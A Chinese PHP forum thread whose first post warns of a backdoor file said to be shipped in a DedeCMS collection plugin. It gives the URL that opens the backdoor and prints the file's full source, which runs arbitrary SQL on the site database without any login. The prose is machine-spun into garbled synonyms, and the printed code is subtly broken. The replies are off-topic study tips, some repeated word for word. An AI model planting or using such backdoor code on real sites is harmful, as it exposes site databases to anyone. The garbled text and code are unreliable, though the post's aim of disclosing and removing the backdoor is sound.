柔情似水 发表于 2015-2-3 23:40:36

PHP编程:DEDE收集巨匠官方留后门的删除举措

学校并没有那么多的时间可以让我们在实际开发上面。   去除官方后门办法:装置好收集巨匠后,请当即删除 include目次下的dedesql.query.php文件,如已装置过,有能够文件已被更名为arc.sqlquery.class.php,找到并删除便可。此文件可被使用来在无需登录验证的情形下查询网站数据库,并停止更新、删除、查询数据等操作。人人也能够本人测试一下是不是如我所说,办法:
http://你的域名.com/include/dedesql.query.php.php?dopost=viewinfo
输出以上彀址,便可翻开后门界面。
说假话,会居心留后门的法式,最好的办法就是别用。这个后门被发明了,天晓得下一个所谓的新版本还会不会冒出更多的后门来。尔后门文件代码以下:
复制代码 代码以下:
<?php
require_once(dirname(__FILE__)."/../include/common.inc.php");
if(emptyempty($dopost))
{
$dopost = "";
}
if($dopost=="rename")
{
if(rename("dedesql.query.php","arc.sqlquery.class.php")){
echo "胜利!";
}else{
echo "掉败!";
}
exit();
}
if($dopost=="viewinfo")
{
if(emptyempty($tablename))
{
echo "没有指定表名!";
}
else
{
$dsql->SetQuery("SHOW CREATE TABLE ".$dsql->dbName.".".$tablename);
$dsql->Execute("me");
$row2 = $dsql->GetArray("me",MYSQL_BOTH);
$ctinfo = $row2;
echo "<xmp>".trim($ctinfo)."</xmp>";
}
exit();
}
if($dopost=="index")
{
require_once(DEDEINC."/arc.partview.class.php");
$envs = $_sys_globals = array();
$envs["aid"] = 0;
$pv = new PartView();
$row = $pv->dsql->GetOne("Select * From `#@__homepageset`");
$templet = str_replace("{style}",$cfg_df_style,$row["templet"]);
$homeFile = dirname(__FILE__)."/".$row["position"];
$homeFile = str_replace("//","/",str_replace("\\","/",$homeFile));
$fp = fopen($homeFile,"w") or die("没法更新网站主页到:$homeFile 地位");
fclose($fp);
$tpl = $cfg_basedir.$cfg_templets_dir."/".$templet;
$pv->SetTemplet($tpl);
$pv->SaveToHtml($homeFile);
$pv->Close();
echo "胜利更新首页!";
exit();
}
else if($dopost=="query")
{
$sqlquery = trim(stripslashes($sqlquery));
if(eregi("drop(.*)table",$sqlquery) eregi("drop(.*)database",$sqlquery))
{
echo "<span style="font-size:10pt">删除"数据表"或"数据库"的语句不答应在这里履行。</span>";
exit();
}
if(eregi("^select ",$sqlquery))
{
$dsql->SetQuery($sqlquery);
$dsql->Execute();
if($dsql->GetTotalRow()<=0)
{
echo "运转SQL:{$sqlquery},无前往纪录!";
}
else
{
echo "运转SQL:{$sqlquery},共有".$dsql->GetTotalRow()."笔记录,最大前往100条!";
}
$j = 0;
while($row = $dsql->GetArray())
{
$j++;
if($j>100)
{
break;
}
echo "<hr size=1 width="100%"/>";
echo "纪录:$j";
echo "<hr size=1 width="100%"/>";
foreach($row as $k=>$v)
{
echo "<font color="red">{$k}:</font>{$v}<br/>\r\n";
}
}
exit();
}
if($querytype==2)
{
$sqlquery = str_replace("\r","",$sqlquery);
$sqls = split(";[ \t]{0,}\n",$sqlquery);
$nerrCode = "";$i=0;
foreach($sqls as $q)
{
$q = trim($q);
if($q=="")
{
continue;
}
$dsql->ExecuteNoneQuery($q);
$errCode = trim($dsql->GetError());
if($errCode=="")
{
$i++;
}
else
{
$nerrCode .= "履行: <font color="blue">$q</font> 失足,毛病提醒:<font color="red">".$errCode."</font><br>";
}
}
echo "胜利履行{$i}个SQL语句!<br><br>";
echo $nerrCode;
}
else
{
$dsql->ExecuteNoneQuery($sqlquery);
$nerrCode = trim($dsql->GetError());
echo "胜利履行1个SQL语句!<br><br>";
echo $nerrCode;
}
exit();
}
if($dopost=="view")
{
;echo "<html>
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\">
<title>SQL号令行东西</title>
<link href=\"img/base.css\" rel=\"stylesheet\" type=\"text/css\">
</head>
<body background=\"img/allbg.gif\" leftmargin=\"8\" topmargin=\"8\">
<table width="98%" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#D1DDAA">
<tr>
<td height="19" background="img/tbg.gif">
<table width="96%" border="0" cellspacing="1" cellpadding="1">
<tr>
<td width="24%"><strong>SQL号令运转器:</strong></td>
<td width="76%" align="right"> <b><a href="sys_data.php"><u>数据备份</u></a></b>
<b><a href="sys_data_revert.php"><strong><u>数据复原</u></strong></a></b>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td height="200" bgcolor="#FFFFFF" valign="top">
<table width="100%" border="0" cellspacing="4" cellpadding="2">
<form action="" method="post" name="infoform" target="stafrm">
<input type=\"hidden\" name=\"dopost\" value=\"viewinfo\" />
<tr bgcolor="#F3FBEC">
<td width="15%" height="24" align="center">体系的表信息:</td>
<td>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="35%">
<select name="tablename" id="tablename" style="width:100%" size="6">
";
$dsql->SetQuery("Show Tables");
$dsql->Execute("t");
while($row = $dsql->GetArray("t",MYSQL_BOTH))
{
$dsql->SetQuery("Select count(*) From ".$row);
$dsql->Execute("n");
$row2 = $dsql->GetArray("n",MYSQL_BOTH);
$dd = $row2;
echo " <option value="".$row."">".$row."(".$dd.")</option>\r\n";
}
;echo " </select>
</td>
<td width="2%"> </td>
<td width="63%" valign="bottom">
<div style="float:left;margin-right:20px;">
<input type="Submit" name="Submit1" value="优化选中表" class="coolbg np" />
<br />
<input type="Submit" name="Submit2" value="修复选中表" class="coolbg np" style="margin-top:6px;" />
<br />
<input type="Submit" name="Submit3" value="检查表布局" class="coolbg np" style="margin-top:6px;" />
</div>
<div style="float:left">
<input type="Submit" name="Submit5" value="优化全体表" class="coolbg np" />
<br />
<input type="Submit" name="Submit6" value="修复全体表" class="coolbg np" style="margin-top:6px;" />
</div>
</td>
</tr>
</table></td>
</tr>
<tr>
<td height="200" align="center">前往信息:</td>
<td>
<iframe name="stafrm" frameborder="0" id="stafrm" width="100%" height="100%"></iframe>
</td>
</tr>
</form>
<form action="" method="post" name="form1" target="stafrm">
<input type=\"hidden\" name=\"dopost\" value=\"query\">
<tr>
<td height="24" colspan="2" bgcolor="#F3FBEC"><strong>运转SQL号令行:
<input name="querytype" type="radio" class="np" value="0">
单行号令(撑持复杂查询)
<input name="querytype" type="radio" class="np" value="2" checked>
多行号令</strong></td>
</tr>
<tr>
<td height="118" colspan="2">
<textarea name="sqlquery" cols="60" rows="10" id="sqlquery" style="width:90%"></textarea>
</td>
</tr>
<tr>
<td height="53" align="center"> </td>
<td>
<input name="imageField" type="image" src="http://www.jb51.net/article/img/button_ok.gif" width="60" height="22" border="0" class=\"np\" />
</td>
</tr>
</form>
</table>
</td>
</tr>
</table>
</body>
</html>
";}
?>
在一个团队之中或者说是在一个公司的工作岗位上,需要注重团队之间的交流合作;在学习或工作上都要端正自己的态度,要以认真的态度来对每件事,这样才能让自己更快的投入、更快的学习,而不至于浪费自己的时间。

若相依 发表于 2015-2-4 05:52:46

有时候汉字的空格也能导致页面出错,所以在写代码的时候,要输入空格最好用引文模式。

兰色精灵 发表于 2015-2-9 16:27:16

因为blog这样的可以让你接触更多要学的知识,可以接触用到类,模板,js ,ajax

小妖女 发表于 2015-2-27 10:25:45

再就是混迹于论坛啦,咱们的phpchina的论坛就很强大,提出的问题一般都是有达人去解答的,以前的帖子也要多看看也能学到不少前辈们的经验。别的不错的论坛例如php100,javaeye也是很不错的。

小魔女 发表于 2015-3-9 00:41:45

当然这种网站的会员费就几十块钱。

简单生活 发表于 2015-3-16 19:10:07

因为blog这样的可以让你接触更多要学的知识,可以接触用到类,模板,js ,ajax

分手快乐 发表于 2015-3-22 21:48:31

没接触过框架的人,也不用害怕,其实框架就是一种命名规范及插件,学会一个框架其余的框架都很好上手的。

蒙在股里 发表于 2015-3-24 11:49:17

开发工具也会慢慢的更专业,每个公司的可能不一样,但是zend studio是个大伙都会用的。

再见西城 发表于 2015-3-27 20:07:28

装在C盘下面可以利用windows的ghost功能可以还原回来(顺便当做是重转啦),当然啦我的编译目录要放在别的盘下,不然自己的劳动成果就悲剧啦。

愤怒的大鸟 发表于 2015-3-27 22:10:01

不禁又想起那些说php是草根语言的人,为什么认得差距这么大呢。

飘灵儿 发表于 2015-4-1 22:07:56

我学习了一段时间后,我发现效果并不好(估计是我自身的问题)。因为一个人的精力总是有限的,同时学习这么多,会导致每个的学习时间都得不到保证。

第二个灵魂 发表于 2015-4-3 05:06:39

因为blog这样的可以让你接触更多要学的知识,可以接触用到类,模板,js ,ajax

深爱那片海 发表于 2015-4-19 09:47:51

因为blog这样的可以让你接触更多要学的知识,可以接触用到类,模板,js ,ajax

乐观 发表于 2015-4-24 15:21:36

说php的话,首先得提一下数组,开始的时候我是最烦数组的,总是被弄的晕头转向,不过后来呢,我觉得数组里php里最强大的存储方法,所以建议新手们要学好数组。

admin 发表于 2015-4-28 09:24:51

对于懒惰的朋友,我推荐php的集成环境xampp或者是wamp。这两个软件安装方便,使用简单。但是我还是强烈建议自己动手搭建开发环境。

精灵巫婆 发表于 2015-5-3 15:46:24

再就是混迹于论坛啦,咱们的phpchina的论坛就很强大,提出的问题一般都是有达人去解答的,以前的帖子也要多看看也能学到不少前辈们的经验。别的不错的论坛例如php100,javaeye也是很不错的。

飘飘悠悠 发表于 2015-5-9 03:17:44

建议加几个专业的phper的群,当然啦需要说话的人多,一处一点问题能有人回答你的,当然啦要让人回答你的问题,平时就得躲在里面聊天,大家混熟啦,愿意回答你问题的人自然就多啦。

柔情似水 发表于 2015-6-30 22:07:24

个人呢觉得,配wamp 最容易漏的一步就是忘了把$PHP$目录下的libmysql.dll拷贝到windows系统目录的system32目录下,还有重启apache。

再现理想 发表于 2015-7-28 18:22:44

在学习的过程中不能怕麻烦,不能有懒惰的思想。学习php首先应该搭建一个lamp环境或者是wamp环境。这是学习php开发的根本。虽然网络上有很多集成的环境,安装很方便,使用起来也很稳定、

小女巫 发表于 2015-9-27 07:34:00

曾经犯过一个很低级的错误,我在文件命名的时候用了一个横线\\\\\\\'-\\\\\\\' 号,结果找了好几个小时的错误,事实是命名的时候 是不能用横线 \\\\\\\'-\\\\\\\' 的,应该用的是下划线\\\\\\\'_\\\\\\\' ;
页: [1]
查看完整版本: PHP编程:DEDE收集巨匠官方留后门的删除举措